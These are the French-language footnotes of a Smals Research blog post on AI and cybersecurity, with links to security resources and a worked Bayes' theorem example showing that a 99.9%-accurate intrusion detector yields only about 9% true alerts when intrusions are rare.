<p><a href="#_ftnref3" name="_ftn3"><sup>3</sup></a>   Les auteurs indiquent un rappel de 90%. En général, le rappel est défini par le nombre de documents pertinents retrouvés au regard du nombre de documents pertinents que possède la base de données.</p>
<p><a href="#_ftnref4" name="_ftn4"><sup>4</sup></a>   Son modèle utilise des statistiques pour la détection des anomalies (modèle statistique simple, chaîne de Markov et séries temporelles).</p>
<p><a href="#_ftnref5" name="_ftn5"><sup>5</sup></a>   <a href="https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/" target="_blank" rel="noopener">https://www.cloudflare.com/fr-fr/learning/security/glossary/what-is-lateral-movement/</a></p>
<p><a href="#_ftnref6" name="_ftn6"><sup>6</sup></a>   <a href="https://github.com/GreyDGL/PentestGPT" target="_blank" rel="noopener">https://github.com/GreyDGL/PentestGPT</a></p>
<p><a href="#_ftnref7" name="_ftn7"><sup>7</sup></a>   <a href="https://www.hackthebox.com/" target="_blank" rel="noopener">https://www.hackthebox.com/</a></p>
<p><a href="#_ftnref8" name="_ftn8"><sup>8</sup></a>   Supposons que dans un journal d’un million d’événements, on estime qu’il y ait 100 événements correspondant réellement à une intrusion. Supposons également qu’un fabriquant nous vende un système de détection d’intrusion dont la sensibilité est de 99,9%, c’est-à-dire qu’il y a un taux de 0,1% de faux négatifs parmi les événements correspondant à de véritables intrusions, et dont la spécificité est également de 99,9% c’est-à-dire qu’il y a un taux de 0,1% de faux positifs parmi les événements ne correspondant pas à des intrusions. Si le logiciel du fabriquant signale une alerte, quelle est alors la probabilité que celle-ci corresponde effectivement à une intrusion ?</p>
<p>Instinctivement, beaucoup diraient « 99,9%. » Pourtant, si l’on dénote <em><strong>I</strong></em> la variable aléatoire correspondant à une intrusion, et <em><strong>A</strong></em>, celle relative à une alerte, il est possible de réécrire les hypothèses ci-dessus de la manière suivante&nbsp;: si <em><strong>P</strong></em>(<em><strong>I</strong></em>)=100/1.000.000, <em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)=0,999, et <em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,999, alors quelle est la valeur de <em><strong>P</strong></em>(<em><strong>I</strong></em>|<em><strong>A</strong></em>)&nbsp;? Le théorème de Bayes, nous donne&nbsp;: <em><strong>P</strong></em>(<em><strong>I</strong></em>│<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|<em><strong>I</strong></em>)/<em><strong>P</strong></em>(<em><strong>A</strong></em>) avec <em><strong>P</strong></em>(<em><strong>A</strong></em>)=<em><strong>P</strong></em>(<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>│<em><strong>I</strong></em>)+<em><strong>P</strong></em>(¬<em><strong>I</strong></em>)⋅<em><strong>P</strong></em>(<em><strong>A</strong></em>|¬<em><strong>I</strong></em>) et <em><strong>P</strong></em>(<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=1−<em><strong>P</strong></em>(¬<em><strong>A</strong></em>│¬<em><strong>I</strong></em>)=0,001. Ce qui conduit à 9,08% de probabilité que l’alerte donnée soit effectivement une intrusion et non 99,9%&nbsp;!</p>
<p><a href="#_ftnref9" name="_ftn9"><sup>9</sup></a> Une méthode non-paramétrique d’estimation de la densité de probabilité d’une variable aléatoire</p>
<p><a href="#_ftnref10" name="_ftn10"><sup>10</sup></a> <a href="https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/" target="_blank" rel="noopener">https://www.paloaltonetworks.com/blog/security-operations/using-chatgpt-in-cortex-xsoar/</a></p>
<p><a href="#_ftnref11" name="_ftn11"><sup>11</sup></a> <a href="https://falconllm.tii.ae/" target="_blank" rel="noopener">https://falconllm.tii.ae/</a></p>
<p>_________________________<br data-rich-text-line-break="true" /><br data-rich-text-line-break="true" /><em>Ce post est une contribution individuelle de Fabien A. P. Petitcolas, spécialisé en sécurité informatique chez Smals Research. Cet article est écrit en son nom propre et n&#8217;impacte en rien le point de vue de Smals.</em></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
